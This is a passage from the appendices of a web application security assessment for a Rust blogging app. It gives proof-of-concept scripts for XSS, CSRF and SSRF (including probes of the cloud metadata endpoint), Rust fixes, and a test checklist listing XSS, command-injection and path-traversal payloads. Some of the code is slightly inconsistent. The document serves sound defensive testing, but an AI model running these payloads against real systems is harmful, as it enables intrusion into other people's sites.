
- Clarification on findings and remediation approaches
- Code review of implemented fixes
- Retest scheduling and execution
- Security architecture consultation

Document History

Version	Date	Author	Changes
1.0	October 15, 2025	[redacted]	Initial release

Appendix A: Detailed PoC Scripts

Purpose: These scripts provide reproducible proof-of-concept demonstrations of discovered vulnerabilities. Use them to verify vulnerabilities exist before remediation and to confirm fixes are effective after remediation.

Security Notice: These scripts should only be executed in authorized testing environments. Unauthorized use against production systems or third-party applications is illegal.

Contents:

- XSS PoC Script (Bash) - Tests VULN-001
- CSRF PoC HTML (Complete web page) - Tests VULN-002
- SSRF PoC Script (Bash) - Tests VULN-003
- Security Headers Check (Bash) - Tests VULN-004
- URL Validation Test (Bash) - Comprehensive SSRF testing

XSS PoC Script

```
#!/bin/bash
# xss_poc.sh - Demonstrates Template XSS
echo "=== XSS Proof of Concept ==="
echo ""
echo "[1] Creating post with XSS payload..."
RESPONSE=$(curl -s -X POST http://localhost:8009/create \
  -d 'title=Title' \
  -d 'content="><script>alert("XSS")</script><meta name="' \
  -w "\n%{redirect_url}")
POST_URL=$(echo "$RESPONSE" | tail -1)
echo "Post created at: $POST_URL"
echo ""
echo "[2] Fetching post HTML and showing vulnerable meta tag..."
curl -s "$POST_URL" | grep -i 'og:description' -A 1
echo ""
echo "[3] XSS Verification:"
echo "Open this URL in browser:"
echo "$POST_URL"
echo ""
echo "Expected: Alert box will display 'XSS'"
echo ""
echo "[4] Look for this in the page source:"
echo '    <meta property="og:description" content="">'
echo '    <script>alert("XSS")</script>'
echo '    <meta name="">'
```

CSRF PoC HTML

```
<!DOCTYPE html>
<!-- csrf_poc.html - Demonstrates CSRF vulnerability -->
<html>
<head>
    <title>CSRF Proof of Concept</title>
</head>
<body>
    <h1>CSRF Vulnerability Demonstration</h1>
    <div class="info">
```

```
        <h3>Information</h3>
        <p>This page demonstrates the CSRF vulnerability.</p>
        <p>When you load this page, a form will automatically submit
to create a post without your knowledge.</p>
    </div>
    <div>
        <p>A hidden form is about to submit...</p>
        <p>Submitting form...</p>
    </div>
    <!-- Hidden attack form -->
    <form id="csrf-attack"
          action="http://localhost:8009/create"
          method="POST"
          style="display:none;">
        <input type="hidden" name="title" value="CSRF PoC - Created
Without Consent">
        <input type="hidden" name="content" value="This post was
created via CSRF attack as a proof of concept. The user never
clicked 'submit' - this happened automatically when they visited a
malicious page.">
        <input type="hidden" name="alias" value="Security
Researcher">
    </form>
    <script>
        // Auto-submit on page load
        window.onload = function() {
            console.log('[CSRF PoC] Submitting malicious form...');
            document.getElementById('csrf-attack').submit();
            document.getElementById('status').innerHTML =
                'Form submitted Check
<code>http://localhost:8009/csrf-poc-created-without-consent-10-13-
2025</code>';
        };
    </script>
</body>
</html>
```

SSRF PoC Script

```
#!/bin/bash
# ssrf_poc.sh - Demonstrates Client-Side SSRF
echo "=== Client-Side SSRF Proof of Concept ==="
echo ""
echo "[1] Creating post with internal IP probe..."
RESPONSE=$(curl -s -X POST http://localhost:8009/create \
  -d 'title=SSRF PoC - Internal Network Scan' \
  -d 'content=![scan](http://192.168.1.1/admin)![aws]
(http://169.254.169.254/latest/meta-data/)![local]
(http://localhost:8009/config)' \
  -w "\n%{redirect_url}")
POST_URL=$(echo "$RESPONSE" | tail -1)
if [ -z "$POST_URL" ]; then
    echo "Error: Failed to create post"
    exit 1
fi
echo "Post created successfully"
echo ""
echo "[2] Post URL: $POST_URL"
echo ""
echo "[3] Visit the post in browser with DevTools open:"
echo "    - Press F12 to open DevTools"
echo "    - Go to Network tab"
echo "    - Navigate to: $POST_URL"
echo ""
echo "[4] You should observe browser making requests to:"
echo "    - http://192.168.1.1/admin"
echo "    - http://169.254.169.254/latest/meta-data/"
echo "    - http://localhost:8009/config"
echo ""
echo "[5] Expected browser behavior:"
echo "    - Network tab shows failed requests (CORS blocked)"
echo "    - Console shows 'OpaqueResponseBlocking' messages"
echo "    - Requests were still SENT (timing leaks information)"
echo ""
echo "[6] To verify the vulnerability, check page source:"
echo "    View → Page Source and look for:"
echo '    <img src="http://192.168.1.1/admin" alt="scan">'
echo '    <img src="http://169.254.169.254/latest/meta-data/"
```

```
alt="aws">'
echo '    <img src="http://localhost:8009/config" alt="local">'
```

Security Headers Verification Script

```
#!/bin/bash
# headers_check.sh - Verify security headers are missing/present
echo "=== Security Headers Check ==="
echo ""
echo "Checking security headers for http://localhost:8009/"
echo ""
RESPONSE=$(curl -sI http://localhost:8009/)
echo "Current Response Headers:"
echo "========================="
echo "$RESPONSE"
echo ""
echo ""
echo "Security Headers Analysis:"
echo "========================="
# Function to check header
check_header() {
    local header_name=$1
    local header_pattern=$2
    if echo "$RESPONSE" | grep -qi "^${header_pattern}:"; then
        echo "${header_name}: PRESENT"
        echo "$RESPONSE" | grep -i "^${header_pattern}:" | head -1
    else
        echo "${header_name}: MISSING"
    fi
    echo ""
}
# Check critical security headers
check_header "Content-Security-Policy" "content-security-policy"
check_header "X-Frame-Options" "x-frame-options"
check_header "X-Content-Type-Options" "x-content-type-options"
check_header "Strict-Transport-Security" "strict-transport-security"
check_header "Referrer-Policy" "referrer-policy"
check_header "Permissions-Policy" "permissions-policy"
echo "========================="
echo ""
```

```
echo "Recommendations:"
echo "- All security headers should be PRESENT"
echo "- See VULN-004 for implementation details"
echo "- Re-run this script after applying fixes"
```

URL Validation Test Script

```
#!/bin/bash
# url_validation_test.sh - Test SSRF URL validation
echo "=== URL Validation Test Suite ==="
echo ""
# Disable history expansion
set +H
# Test cases
declare -A tests=(
    ["Legitimate HTTPS"]="https://example.com/image.jpg"
    ["Private IP 192.168"]="http://192.168.1.1/admin"
    ["Private IP 10.x"]="http://10.0.0.1/config"
    ["Localhost"]="http://localhost:8009/admin"
    ["Link-local (AWS
metadata)"]="http://169.254.169.254/latest/meta-data/"
    ["File protocol"]="file:///etc/passwd"
    ["JavaScript protocol"]="javascript:alert(1)"
    ["Data URL"]="data:text/html,<script>alert(1)</script>"
)
echo "Testing image URL validation..."
echo ""
passed=0
failed=0
for test_name in "${!tests[@]}"; do
    url="${tests[$test_name]}"
    echo "Test: $test_name"
    echo "URL: $url"
    # Create post with test URL
    RESPONSE=$(curl -s -X POST http://localhost:8009/create \
      -d "title=URL Test - $test_name" \
      -d 'content=![test]('"$url"')' \
      -w "\n%{http_code}\n%{redirect_url}")
    HTTP_CODE=$(echo "$RESPONSE" | tail -2 | head -1)
    POST_URL=$(echo "$RESPONSE" | tail -1)
```

```
    if [ "$HTTP_CODE" = "303" ]; then
        # Check if URL was embedded in img src
        PAGE_CONTENT=$(curl -s "$POST_URL")
        if echo "$PAGE_CONTENT" | grep -q "src=\"$url\""; then
            echo "Result: VULNERABLE - URL was embedded"
            ((failed++))
        else
            echo "Result: PROTECTED - URL was blocked/filtered"
            ((passed++))
        fi
    else
        echo "Result:  Request failed (HTTP $HTTP_CODE)"
        ((failed++))
    fi
    echo ""
done
echo "============================"
echo ""
echo "Test Summary:"
echo "  Passed: $passed"
echo "  Failed: $failed"
echo ""
echo "Expected Results After Fix:"
echo "  Legitimate HTTPS: Allowed (embedded in page)"
echo "  All private IPs: Blocked (not embedded)"
echo "  Localhost: Blocked (not embedded)"
echo "  Dangerous protocols: Blocked (not embedded)"
```

Appendix B: Remediation Code Samples

Purpose: Production-quality code examples demonstrating secure implementation patterns.

Important Notes:

- Reference implementations showing correct security patterns
- Tested for syntactic correctness and vulnerability mitigation
- Review and adapt to your specific architecture

- All samples follow Rust best practices

Contents:

Emergency XSS Fix (VULN-001)

Priority: P0 - Critical
Time Required: 30 minutes
Deploy: Before any production use

This is the **minimum fix** to prevent XSS exploitation. Deploy this immediately while working on the complete template engine replacement.

```
// parser.rs - Add this function at the end of the file

/// HTML attribute context escaping
/// Use this for any user content inserted into HTML attributes
(meta tags, etc.)
pub fn html_attr_escape(text: &str)
-> String {
    text.chars()
        .map(|c| match c {
            '&' => "&amp;".to_string(),
            '<' => "&lt;".to_string(),
            '>' => "&gt;".to_string(),
            '"' => "&quot;".to_string(),
            '\'' => "&#x27;".to_string(),
            '/' => "&#x2F;".to_string(),
            '\n' => " ".to_string(),      // Replace newlines with
space
            '\r' => "".to_string(),        // Remove carriage
```

```
returns
            '\t' => " ".to_string(),       // Replace tabs with
space
            _ => c.to_string(),
        })
        .collect()
}

#[cfg(test)]
mod emergency_xss_tests {
    use super::*;

    #[test]
    fn test_html_attr_escape_basic() {
        assert_eq!(
            html_attr_escape("<script>alert(1)</script>"),
            "&lt;script&gt;alert(1)&lt;&#x2F;script&gt;"
        );
    }

    #[test]
    fn test_html_attr_escape_quotes() {
        assert_eq!(
            html_attr_escape("test\" onload=\"alert(1)"),
            "test&quot; onload=&quot;alert(1)"
        );
    }

    #[test]
    fn test_html_attr_escape_newlines() {
        assert_eq!(
            html_attr_escape("test\n\n\"><script>alert(1)
</script>"),
            "test
&quot;&gt;&lt;script&gt;alert(1)&lt;&#x2F;script&gt;"
        );
    }

    #[test]
    fn test_html_attr_escape_mutation_xss() {
        assert_eq!(
```

```
            html_attr_escape("<noscript><p title=\"</noscript><img
src=x onerror=alert(1)>\">"),
            "&lt;noscript&gt;&lt;p
title=&quot;&lt;&#x2F;noscript&gt;&lt;img src=x
onerror=alert(1)&gt;&quot;&gt;"
        );
    }

    #[test]
    fn test_html_attr_escape_xml_pi() {
        assert_eq!(
            html_attr_escape("<?xml version=\"1.0\"?>
<script>alert(1)</script>"),
            "&lt;?xml version=&quot;1.0&quot;?
&gt;&lt;script&gt;alert(1)&lt;&#x2F;script&gt;"
        );
    }
}
```

Update `main.rs` - Modify the `view_post()` function:

```
// main.rs - Find the view_post() function and update it

#[get("/<post_id>")]
fn view_post(post_id: String, storage: &State<PostStorage>, config:
&State<Config>)
-> content::RawHtml<String> {
    let storage = storage.lock().unwrap();
    match storage.get_post_by_id(&post_id) {
        Some(post) => {
            let engine = TemplateEngine::new("templates");
            let mut context = HashMap::new();
            context.insert("post_id".to_string(), post.id.clone());
            context.insert("title".to_string(), post.title.clone());
            context.insert("author".to_string(),
post.author.clone());
            context.insert("timestamp".to_string(),
post.timestamp.clone());
            context.insert("content".to_string(),
post.content.clone());
```

```
            // Escape raw_content before inserting into meta tags
            let description = if post.raw_content.chars().count() >
160 {
                let truncated: String =
post.raw_content.chars().take(160).collect();
                format!("{}...",
parser::html_attr_escape(&truncated))
            } else {
                parser::html_attr_escape(&post.raw_content)
            };
            context.insert("description".to_string(), description);
            // ... rest of function
            match engine.render_with_defaults("post", &context) {
                Ok(html) => content::RawHtml(html),
                Err(e) => content::RawHtml(format!("Template error:
{}", e)),
            }
        }
        None => {
            // 404 handling
            content::RawHtml("<h1>404 - Post Not
Found</h1>".to_string())
        }
    }
}
```

Template Engine Fix (VULN-001)

Priority: P1 - High
Time Required: 2-4 hours
Deploy: Within 24-48 hours after emergency fix

This is the **complete replacement** of the custom template engine with proper context-aware escaping.

```
// template.rs - Fixed version with context-aware escaping

use std::collections::HashMap;
use std::fs;
use std::path::Path;
```

```rust
pub struct TemplateEngine {
    templates_dir: String,
}

impl TemplateEngine {
    pub fn new(templates_dir: &str)
    -> Self {
        Self {
            templates_dir: templates_dir.to_string(),
        }
    }
    pub fn render(
        &self,
        template_name: &str,
        context: &HashMap<String, String>,
    )
    -> Result<String, String> {
        let template_path = Path::new(&self.templates_dir)
            .join(format!("{}.html", template_name));
        let template_content = fs::read_to_string(&template_path)
            .map_err(|e| format!("Failed to read template {}: {}",
template_name, e))?;
        let mut result = template_content;
        // Context-aware escaping for each variable
        for (key, value) in context {
            let pattern = format!("{{{{{}}}}}", key);
            // Determine context and apply appropriate escaping
            let escaped_value = match key.as_str() {
                "title" | "author" => html_text_escape(value),
                "description" | "content" =>
html_attr_escape(value),
                "url" => url_escape(value),
                _ => html_text_escape(value), // Default to text
escaping
            };
            result = result.replace(&pattern, &escaped_value);
        }
        // Check for unreplaced variables
        if result.contains("{{") && result.contains("}}") {
            eprintln!(
```

```
                "Warning: Template {} contains unreplaced
variables",
                template_name
            );
        }
        Ok(result)
    }

    pub fn render_with_defaults(
        &self,
        template_name: &str,
        context: &HashMap<String, String>,
    )
    -> Result<String, String> {
        let mut full_context = HashMap::new();
        // Set default values
        full_context.insert("title".to_string(),
"Nonograph".to_string());
        full_context.insert("content".to_string(), "".to_string());
        full_context.insert("error".to_string(), "".to_string());
        full_context.insert("success".to_string(), "".to_string());
        // Override with provided context
        for (key, value) in context {
            full_context.insert(key.clone(), value.clone());
        }
        self.render(template_name, &full_context)
    }
}

// HTML text context escaping
fn html_text_escape(text: &str) -> String {
    text.replace('&', "&amp;")
        .replace('<', "&lt;")
        .replace('>', "&gt;")
        .replace('"', "&quot;")
        .replace('\'', "&#x27;")
}

// HTML attribute context escaping (more strict)
fn html_attr_escape(text: &str) -> String {
    text.chars()
```

```
        .map(|c| match c {
            '&' => "&amp;".to_string(),
            '<' => "&lt;".to_string(),
            '>' => "&gt;".to_string(),
            '"' => "&quot;".to_string(),
            '\'' => "&#x27;".to_string(),
            '/' => "&#x2F;".to_string(),
            '\n' => "&#10;".to_string(),
            '\r' => "&#13;".to_string(),
            '\t' => "&#9;".to_string(),
            _ => c.to_string(),
        })
        .collect()
}

fn url_escape(url: &str) -> String {
    // Validate URL scheme first
    if !url.starts_with("http://") && !url.starts_with("https://") {
        return String::from("#invalid-url");
    }
    // Additional safety: check for injection attempts in the URL
    let url_lower = url.to_lowercase();
    if url_lower.contains("javascript:")
        || url_lower.contains("data:")
        || url_lower.contains("vbscript:") {
        return String::from("#blocked-url");
    }
    // Return with HTML escaping applied
    html_attr_escape(url)
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_html_text_escape() {
        assert_eq!(
            html_text_escape("<script>alert('xss')</script>"),
            "&lt;script&gt;alert(&#x27;xss&#x27;)&lt;/script&gt;"
        );
```

```
    }

    #[test]
    fn test_html_attr_escape() {
        assert_eq!(
            html_attr_escape("test\" onload=\"alert(1)"),
            "test&quot; onload=&quot;alert(1)"
        );
    }

    #[test]
    fn test_url_escape() {
        assert_eq!(url_escape("javascript:alert(1)"), "#blocked-
url");
        assert_eq!(url_escape("http://example.com"),
"http:&#x2F;&#x2F;example.com");
    }

    #[test]
    fn test_xss_prevention() {
        use std::fs;
        use tempfile::tempdir;
        let dir = tempdir().unwrap();
        let template_content = "<title>{{title}}</title><meta
content=\"{{description}}\">";
        fs::write(dir.path().join("test.html"),
template_content).unwrap();
        let engine =
TemplateEngine::new(dir.path().to_str().unwrap());
        let mut context = HashMap::new();
        context.insert("title".to_string(), "<script>alert(1)
</script>".to_string());
        context.insert("description".to_string(), "\"
onload=\"alert(1)".to_string());
        let result = engine.render("test", &context).unwrap();
        // Should NOT contain executable JavaScript
        assert!(!result.contains("<script>"));
        assert!(!result.contains("onload="));
        // Should contain escaped versions
        assert!(result.contains("&lt;script&gt;"));
        assert!(result.contains("&quot; onload=&quot;"));
```

```
    }
}
```

CSRF Protection Module (VULN-002)

```
// csrf.rs - CSRF protection module

use rocket::request::{self, Request, FromRequest};
use rocket::outcome::Outcome;
use rocket::http::{Cookie, CookieJar, SameSite};
use rand::Rng;

/// CSRF token wrapper
pub struct CsrfToken(pub String);

/// Generate a new CSRF token
pub fn generate_token()
-> String {
    rand::thread_rng()
        .sample_iter(&rand::distributions::Alphanumeric)
        .take(32)
        .map(char::from)
        .collect()
}

/// Request guard for CSRF token
/// Use this in POST handlers that need CSRF protection
#[rocket::async_trait]
impl<'r> FromRequest<'r> for CsrfToken {
    type Error = ();
    async fn from_request(request: &'r Request<'_>)
    -> request::Outcome<Self, Self::Error> {
        let cookies = request.cookies();
        match cookies.get_private("csrf_token") {
            Some(cookie) =>
Outcome::Success(CsrfToken(cookie.value().to_string())),
            None => Outcome::Forward(())  // Forward to error
handler instead
        }
    }
```

```rust
}

/// Helper to generate and set CSRF token cookie
/// Call this in your GET handlers (homepage, etc.)
pub fn set_csrf_toke(cookies: &CookieJar<'_>)
-> String {
    let token = generate_token();
    let cookie = Cookie::build(("csrf_token", token.clone()))
        .same_site(SameSite::Strict)
        .secure(false)
        .http_only(true)
        .path("/")
        .build();
    cookies.add_private(cookie);
    token
}

/// Validate CSRF token from form
pub fn validate_token(form_token: &str, cookie_token: &str)
-> bool {
    // Constant-time comparison to prevent timing attacks
    if form_token.len() != cookie_token.len() {
        return false;
    }
    form_token.as_bytes()
        .iter()
        .zip(cookie_token.as_bytes())
        .fold(0u8, |acc, (a, b)| acc | (a ^ b)) == 0
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_token_generation() {
        let token1 = generate_token();
        let token2 = generate_token();
        assert_eq!(token1.len(), 32);
        assert_eq!(token2.len(), 32);
        assert_ne!(token1, token2); // Tokens should be unique
```

```
    }

    #[test]
    fn test_token_validation() {
        let token = "abc123def456";
        assert!(validate_token(token, token));
        assert!(!validate_token(token, "different"));
        assert!(!validate_token(token, "abc123def45")); // Different
length
    }

    #[test]
    fn test_constant_time_comparison() {
        // These should all take the same time (prevent timing
attacks)
        let valid_token = "a".repeat(32);
        let wrong_first = format!("b{}", "a".repeat(31));
        let wrong_last = format!("{}b", "a".repeat(31));
        assert!(!validate_token(&wrong_first, &valid_token));
        assert!(!validate_token(&wrong_last, &valid_token));
    }
}
```

Usage Example

```
// main.rs

use csrf::{CsrfToken, set_csrf_token, validate_token};

// GET handler - generates token
#[get("/")]
fn index(cookies: &CookieJar<'_>, config: &State<Config>)
-> content::RawHtml<String> {
    // Generate CSRF token and set cookie
    let token = set_csrf_token(cookies);
    let engine = TemplateEngine::new("templates");
    let mut context = HashMap::new();
    context.insert("csrf_token".to_string(), token);  // Pass to
template
    context.insert("error".to_string(), "".to_string());
```

```
    // ... rest of context
    match engine.render_with_defaults("home", &context) {
        Ok(html) => content::RawHtml(html),
        Err(e) => content::RawHtml(format!("Template error: {}",
e)),
    }
}

// POST handler - validates token
#[derive(FromForm)]
struct NewPost {
    title: String,
    content: String,
    alias: Option<String>,
    csrf_token: String,
}

#[post("/create", data = "<form>")]
fn create_post(
    form: rocket::form::Form<NewPost>,
    csrf: CsrfToken,  // Request guard gets cookie token
    storage: &State<PostStorage>,
    file_queue: &State<FileSaveQueue>,
    config: &State<Config>,
)
-> Result<rocket::response::Redirect, content::RawHtml<String>> {
    // Validate CSRF token
    if !validate_token(&form.csrf_token, &csrf.0) {
        return Err(content::RawHtml("CSRF validation
failed".to_string()));
    }
    // Validate post content
    if let Err(error) = config.validate_post(&form.title,
&form.content, form.alias.as_deref()) {
        return Ok(rocket::response::Redirect::to(format!("/?error=
{}", error)));
    }
    // ... rest of create_post handler
}
```

Rate Limiting (VULN-002)

```rust
// main.rs - Add to rocket() function
use std::time::{Duration, Instant};
use std::collections::HashMap;
use std::sync::Mutex;

pub struct RateLimiter {
    requests: Mutex<HashMap<String, Vec<Instant>>>,
}

impl RateLimiter {
    pub fn new()
    -> Self {
        RateLimiter {
            requests: Mutex::new(HashMap::new()),
        }
    }

    pub fn check_limit(&self, ip: &str, max_requests: usize,
window_secs: u64)
    -> bool {
        let mut requests = self.requests.lock().unwrap();
        let now = Instant::now();
        // Clean old entries
        requests.entry(ip.to_string())
            .and_modify(|times| {
                times.retain(|t| now.duration_since(*t) <
Duration::from_secs(window_secs))
            });
        // Check limit
        let ip_requests =
requests.entry(ip.to_string()).or_insert_with(Vec::new);
        if ip_requests.len() >= max_requests {
            return false;
        }
        ip_requests.push(now);
        true
    }
}

// Add request guard for IP extraction
pub struct ClientIp(pub String);
```

```rust
#[rocket::async_trait]
impl<'r> FromRequest<'r> for ClientIp {
    type Error = ();

    async fn from_request(request: &'r Request<'_>)
    -> request::Outcome<Self, Self::Error> {
        let ip = request.client_ip()
            .map(|addr| addr.to_string())
            .unwrap_or_else(|| "unknown".to_string());
        Outcome::Success(ClientIp(ip))
    }
}

// Modify create_post to use rate limiter
#[post("/create", data = "<form>")]
fn create_post(
    form: rocket::form::Form<NewPost>,
    csrf: CsrfToken,
    client_ip: ClientIp,
    rate_limiter: &State<RateLimiter>,
    storage: &State<PostStorage>,
    file_queue: &State<FileSaveQueue>,
    config: &State<Config>,
)
-> Result<rocket::response::Redirect, content::RawHtml<String>> {
    // Check rate limit (10 posts per minute)
    if !rate_limiter.check_limit(&client_ip.0, 10, 60) {
        return Err(content::RawHtml("Rate limit exceeded. Please try
again later.".to_string()));
    }
    // ... rest of function
}

// Add to rocket builder
#[launch]
fn rocket() -> rocket::Rocket<rocket::Build> {
    rocket::build()
        .manage(Arc::new(Mutex::new(PostCache::new(128))))
        .manage(RateLimiter::new())  // Add this
```

```
        // ... rest of config
}
```

URL Validator for SSRF Prevention (VULN-003)

```
// url_validator.rs - SSRF prevention through URL validation

use std::net::IpAddr;
use url::Url;

/// Validate that a URL is safe to embed (prevents SSRF)
pub fn is_safe_url(url_str: &str)
-> bool {
    // Only allow HTTP/HTTPS schemes
    if !url_str.starts_with("http://") &&
!url_str.starts_with("https://") {
        return false;
    }
    // Parse the URL
    let parsed_url = match Url::parse(url_str) {
        Ok(url) => url,
        Err(_) => return false,
    };
    // Get the host
    let host = match parsed_url.host_str() {
        Some(h) => h,
        None => return false,
    };
    // Block non-standard ports (potential admin interfaces)
    if let Some(port) = parsed_url.port() {
        if port != 80 && port != 443 && port != 8080 {
            return false;
        }
    }
    // If host is an IP address, check if it's private
    if let Ok(ip) = host.parse::<IpAddr>() {
        return !is_private_ip(&ip);
    }
    // Block localhost variants
    let host_lower = host.to_lowercase();
```

```rust
    if host_lower == "localhost"
        || host_lower.ends_with(".local")
        || host_lower.ends_with(".localhost") {
        return false;
    }
    true
}

/// Check if an IP address is private/internal
fn is_private_ip(ip: &IpAddr)
-> bool {
    match ip {
        IpAddr::V4(ipv4) => {
            let octets = ipv4.octets();
            // Loopback (127.0.0.0/8)
            if octets[0] == 127 { return true; }
            // Private ranges (RFC 1918)
            if octets[0] == 10 { return true; }
            if octets[0] == 172 && (octets[1] >= 16 && octets[1] <=
31) { return true; }
            if octets[0] == 192 && octets[1] == 168 { return true; }
            // Link-local (169.254.0.0/16) - AWS metadata
            if octets[0] == 169 && octets[1] == 254 { return true; }
            // Multicast (224.0.0.0/4)
            if octets[0] >= 224 && octets[0] <= 239 { return true; }
            // Broadcast (255.255.255.255)
            if octets[0] == 255 { return true; }
            // 0.0.0.0/8
            if octets[0] == 0 { return true; }
            false
        }
        IpAddr::V6(ipv6) => {
            // Loopback (::1)
            if ipv6.is_loopback() { return true; }
            // Link-local (fe80::/10)
            let segments = ipv6.segments();
            if segments[0] >= 0xfe80 && segments[0] <= 0xfebf {
return true; }
            // Unique local (fc00::/7)
            if segments[0] >= 0xfc00 && segments[0] <= 0xfdff {
return true; }
```

```
            false
        }
    }
}

// Usage in parser.rs - process_images_with_config()
// Before: result.push_str(&html_escape(&image_url));
// After:
/*
if is_safe_url(&image_url) {
    result.push_str("<img src=\"");
    result.push_str(&html_escape(&image_url));
    result.push_str("\" alt=\"");
    result.push_str(&html_escape(&alt_text));
    result.push_str("\">");
} else {
    // Skip unsafe URLs
    continue;
}
*/

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_legitimate_urls() {
        assert!(is_safe_url("https://example.com/image.jpg"));
        assert!(is_safe_url("http://cdn.example.com/photo.png"));
    }

    #[test]
    fn test_private_ips_blocked() {
        assert!(!is_safe_url("http://192.168.1.1/admin"));
        assert!(!is_safe_url("http://10.0.0.1/config"));
        assert!(!is_safe_url("http://172.16.0.1/internal"));
        assert!(!is_safe_url("http://169.254.169.254/latest/meta-
data/"));
    }

    #[test]
```

```
    fn test_localhost_blocked() {
        assert!(!is_safe_url("http://localhost:8009/admin"));
        assert!(!is_safe_url("http://127.0.0.1/config"));
    }

    #[test]
    fn test_dangerous_schemes_blocked() {
        assert!(!is_safe_url("file:///etc/passwd"));
        assert!(!is_safe_url("javascript:alert(1)"));
        assert!(!is_safe_url("data:text/html,<script>alert(1)
</script>"));
    }
}
```

Security Headers Fairing (VULN-004)

```
// security_headers.rs - Security headers fairing

use rocket::fairing::{Fairing, Info, Kind};
use rocket::{Request, Response};

pub struct SecurityHeaders;

#[rocket::async_trait]
impl Fairing for SecurityHeaders {
    fn info(&self) -> Info {
        Info {
            name: "Security Headers",
            kind: Kind::Response
        }
    }

    async fn on_response<'r>(&self, _req: &'r Request<'_>, res: &mut
Response<'r>) {
        // Content Security Policy (blocks inline scripts)
        res.set_raw_header(
            "Content-Security-Policy",
            "default-src 'self'; \
             script-src 'self'; \
             style-src 'self' 'unsafe-inline'; \
```

```
            img-src 'self' https:; \
            object-src 'none'; \
            base-uri 'self'; \
            form-action 'self'; \
            frame-ancestors 'none';"
        );
        // Prevent clickjacking
        res.set_raw_header("X-Frame-Options", "DENY");
        // Prevent MIME-type sniffing
        res.set_raw_header("X-Content-Type-Options", "nosniff");
        // Control referrer information
        res.set_raw_header("Referrer-Policy", "strict-origin-when-
cross-origin");
        // Legacy XSS protection
        res.set_raw_header("X-XSS-Protection", "1; mode=block");
        // Restrict browser features
        res.set_raw_header(
            "Permissions-Policy",
            "interest-cohort=(), geolocation=(), microphone=(),
camera=()"
        );
        // PRODUCTION ONLY: Enable after HTTPS setup
        // res.set_raw_header(
        //     "Strict-Transport-Security",
        //     "max-age=31536000; includeSubDomains; preload"
        // );
    }
}

// Usage in main.rs:
/*
#[launch]
fn rocket()
-> rocket::Rocket<rocket::Build> {
    rocket::build()
        .attach(SecurityHeaders)  // Add this
        .manage(storage)
        // ... rest of config
}
*/
```

Appendix C: Security Testing Checklist

Purpose: Reusable checklist for regression testing and validating new features in Nonograph.

Usage:

- Check completed tests
- Re-run after fixes or new features
- Document findings

Critical Security Tests

XSS (Cross-Site Scripting) - All Input Fields:

- [ ] `<script>alert(1)</script>` in title, content, author
- [ ] `"><script>alert(1)</script><meta name="` (meta tag breaking)
- [ ] `' onload='alert(1)` and `" onload="alert(1)` (attribute injection)
- [ ] `<noscript><p title="</noscript><img src=x onerror=alert(1)>">` (mutation XSS)
- [ ] Newline injection: `Test\n\n"><script>alert(1)</script>`

CSRF (Cross-Site Request Forgery):

- [ ] POST to `/create` without CSRF token (should fail)
- [ ] POST with invalid/expired token (should fail)
- [ ] POST with wrong Origin header (should fail)
- [ ] Verify token present in homepage form

SSRF (Server-Side Request Forgery) - Image URLs:

- [ ] Private IPs: `http://192.168.1.1`, `http://10.0.0.1`, `http://172.16.0.1`
- [ ] Localhost: `http://127.0.0.1`, `http://localhost:8009`
- [ ] Dangerous schemes: `file:///etc/passwd`, `javascript:alert(1)`, `data:text/html`

Security Headers:

- [ ] Content-Security-Policy present (blocks inline scripts)
- [ ] X-Frame-Options: DENY
- [ ] X-Content-Type-Options: nosniff
- [ ] Referrer-Policy present
- [ ] Permissions-Policy present
- [ ] Strict-Transport-Security

Input Validation Tests

Command Injection:

- [ ] `; ls -la`, `| whoami`, `$(id)` in all text fields (should be treated as literal)

Path Traversal:

- [ ] `../../etc/passwd` in URLs
- [ ] `..%2F..%2Fetc%2Fpasswd` (URL encoded)

Null Byte Handling:

- [ ] `Test\x00Admin` in title/content (verify truncation or rejection)

Application-Specific Tests

Rate Limiting:

- [ ] Create >10 posts in 60 seconds (should be rate limited)
- [ ] Verify 429 Too Many Requests or rejection message

Input Length Validation:

- [ ] Title exceeds 128 characters (should fail)
- [ ] Content exceeds 128KB (should fail)
- [ ] Author exceeds configured limit (should fail)

Empty Field Validation:

- [ ] Submit title with only HTML tags: `<script></script>` (should reject)
- [ ] Submit content with only whitespace (should reject)

Error Handling:

- [ ] Verify no stack traces in error responses
- [ ] Check 404/500 pages don't leak internal paths
- [ ] Test invalid post IDs don't expose system info

Visual/UX Tests

Content Rendering:

- [ ] Long unbroken strings wrap correctly (no horizontal overflow)
- [ ] Markdown renders properly (bold, italic, lists, code blocks)
- [ ] Special characters display correctly

Regression Testing After Fixes

Post VULN-001 Fix (XSS):

- [ ] Run `xss_poc.sh` - should show escaped output
- [ ] Browser console shows no script execution
- [ ] Meta tags contain escaped entities

Post VULN-002 Fix (CSRF):

- [ ] Run `csrf_poc.html` - should fail with "CSRF validation failed"
- [ ] POST without token rejected
- [ ] Valid token allows post creation

Post VULN-003 Fix (SSRF):

- [ ] Run `url_validation_test.sh` - private IPs should be blocked

- [ ] Run `ssrf_poc.sh` - URLs not embedded in page

Post VULN-004 Fix (Headers):

- [ ] Run `headers_check.sh` - all critical headers present
- [ ] CSP header blocks inline scripts

References

Security Standards:

- **OWASP Top 10 2021:** https://owasp.org/Top10/
- **OWASP XSS:** https://owasp.org/www-community/attacks/xss/
- **OWASP CSRF:** https://owasp.org/www-community/attacks/csrf
- **OWASP SSRF:** https://owasp.org/www-community/attacks/Server_Side_Request_Forgery

CWE References:

- **CWE-79:** Improper Neutralization of Input During Web Page Generation (XSS) - https://cwe.mitre.org/data/definitions/79.html
- **CWE-352:** Cross-Site Request Forgery (CSRF) - https://cwe.mitre.org/data/definitions/352.html
- **CWE-918:** Server-Side Request Forgery (SSRF) - https://cwe.mitre.org/data/definitions/918.html
- **CWE-693:** Protection Mechanism Failure - https://cwe.mitre.org/data/definitions/693.html
- **CWE-20:** Improper Input Validation - https://cwe.mitre.org/data/definitions/20.html

Technical Documentation:

- **Ammonia Sanitizer:** https://docs.rs/ammonia/
- **Rust Security:** https://anssi-fr.github.io/rust-guide/
- **Rocket Framework:** https://rocket.rs/
- **Content Security Policy:** https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP

- **CSRF Prevention:** https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html

Note: mXSS is covered under general XSS documentation

Glossary

Vulnerability Terms:

- **XSS:** Cross-Site Scripting - Injection of malicious scripts into web pages
